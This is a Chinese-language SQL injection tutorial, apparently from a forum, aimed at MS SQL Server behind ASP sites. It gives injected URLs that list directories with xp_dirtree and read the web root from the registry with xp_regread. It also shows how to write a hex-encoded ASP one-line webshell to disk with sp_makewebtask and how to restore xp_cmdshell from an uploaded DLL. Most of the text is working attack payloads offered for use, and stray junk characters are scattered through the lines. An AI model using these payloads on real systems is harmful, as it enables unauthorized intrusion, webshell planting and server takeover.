好,我们exec master..xp_dirtree'd:/test'
( V0 g- }' i4 m4 F% A3 [: p假设我们在test里有两个文件夹test1和test2在test1里又有test3
4 H% U a2 c G1 P/ k1 p结果显示
0 C3 h5 W7 A6 R% ?5 s' D2 j. a. z8 ?& ?
subdirectory depth% d* A+ `3 P; \; _+ j+ x& N! n- y
test1 1
$ m0 h) M' P$ L5 c+ t$ Ctest3 2
3 V E! s) |: v6 a D/ x/ }test2 1
. _( \- n! v2 e' C
4 }/ T4 P& V4 [% F. L1 D( w哈哈发现没有那个depth就是目录的级数/ g/ Q- O( D( v# o# _
ok了,知道怎么办了吧' O/ k# U: ~1 r, o- A
- e: I1 s) B4 j2 R& I4 Q7 thttp://www.xxxxx.com/down/list.asp?id=1;create table dirs(paths varchar(1000),id int)-- % p. t/ \& _9 e+ B% G# }( k
http://www.xxxxx.com/down/list.asp?id=1;insert dirs exec master.dbo.xp_dirtree 'd:\' --
+ t) q# e8 f- r* M; T, whttp://www.xxxxx.com/down/list.asp?id=1 and 0<>(select top 1 paths from dirs where id=1)-3 b% r) n) l' H! M) ?
% C! o5 W2 m# U
只要加上id=1,就是第一级目录 。# l' y- l( U0 i0 H; s
* y/ Z7 d) I6 z Y
, c+ f' W$ ?+ B6 t3 f通过注册表读网站路径:0 p& S/ V. y0 @% e) B9 v
4 t' {5 C$ Z1 r- t1.;create table [dbo].[cyfd] ([gyfd][char](255));( z {; d$ T2 j; ` o
+ |9 p, j1 Q$ H2.DECLARE @result varchar(255) EXEC master.dbo.xp_regread 'HKEY_LOCAL_MACHINE', 'SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots', '/', @result output insert into 临时表 (临时字段名) values(@result);--3 }& ?3 l* g% A$ w
id=2;DECLARE @result varchar(255) EXEC master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots', '/', @result output insert into cyfd (gyfd) values(@result);--
5 U; T |; J, j/ B2 _, B( L/ X$ O) s; a
3.and 1=(select count(*) from 临时表 where 临时字段名>1)- b$ l! y/ ^; C- Q4 T6 ^- Z
and 1=(select count(*) from cyfd where gyfd > 1)
6 |2 v* ?) o1 u4 ?9 U9 x这样IE报错,就把刚才插进去的Web路径的值报出来了
$ z8 c4 U+ r- H5 M" q1 l6 V9 S: F% Z' c M
4.drop table cyfd;-- 删除临时表& S8 ^) I2 K/ `
7 q4 Z' _7 R1 v( u ^) }
获得webshell方法:
0 C9 X" p0 Z* S) B! f1.create table cmd (a image)-- \**cmd是创建的临时表
) L. a1 u, X# v3 t8 n
7 U* Q& d1 o6 y2.insert into cmd (a) values (0x3C25657865637574652872657175657374282261222929253EDA)-- 往cmd表里插入一句话# ^6 q; C- D/ H
5 u, y" t$ U# V4 m) }% z' K) f2 d& Y- `, t7 V
3.EXECUTE sp_makewebtask @outputfile = 'WEB绝对路径\导出的文件名.asp',@query = 'SELECT image FROM cmd'
1 Z& K2 y8 ]) s% L9 \EXECUTE sp_makewebtask @outputfile = 'WEB绝对路径\导出的文件名.asp',@query = 'SELECT 你的字段 FROM 你建的临时表'
3 u# I" n1 C7 u8 d
) O+ W) L! S, u8 D j4.drop table cmd;-- 删除cmd临时表
. ?* |1 M* F" ] e& Q: d. S
6 R2 i: W7 H' l) p0 h; q恢复xp_cmdshell方法之一:. Y5 T! g+ p8 T! d, d; F, x# v% r) p
我很快就把xplog70.dll文件给他上传到e:\inetpub\wwwroot目录下了,来吧,我们来给他恢复,提交:( t: G. f% n/ q( l/ ]! j. ]# T
http://www.something.com/script.asp?id=2;EXEC master.dbo.sp_addextendedproc 'xp_cmdshell','e:\inetpub\wwwroot\xplog70.dll'
& ]3 {5 G6 l, M. o$ J& L! e m恢复,支持绝对路径的恢复哦。:)
o1 b6 y0 o- a7 n- o |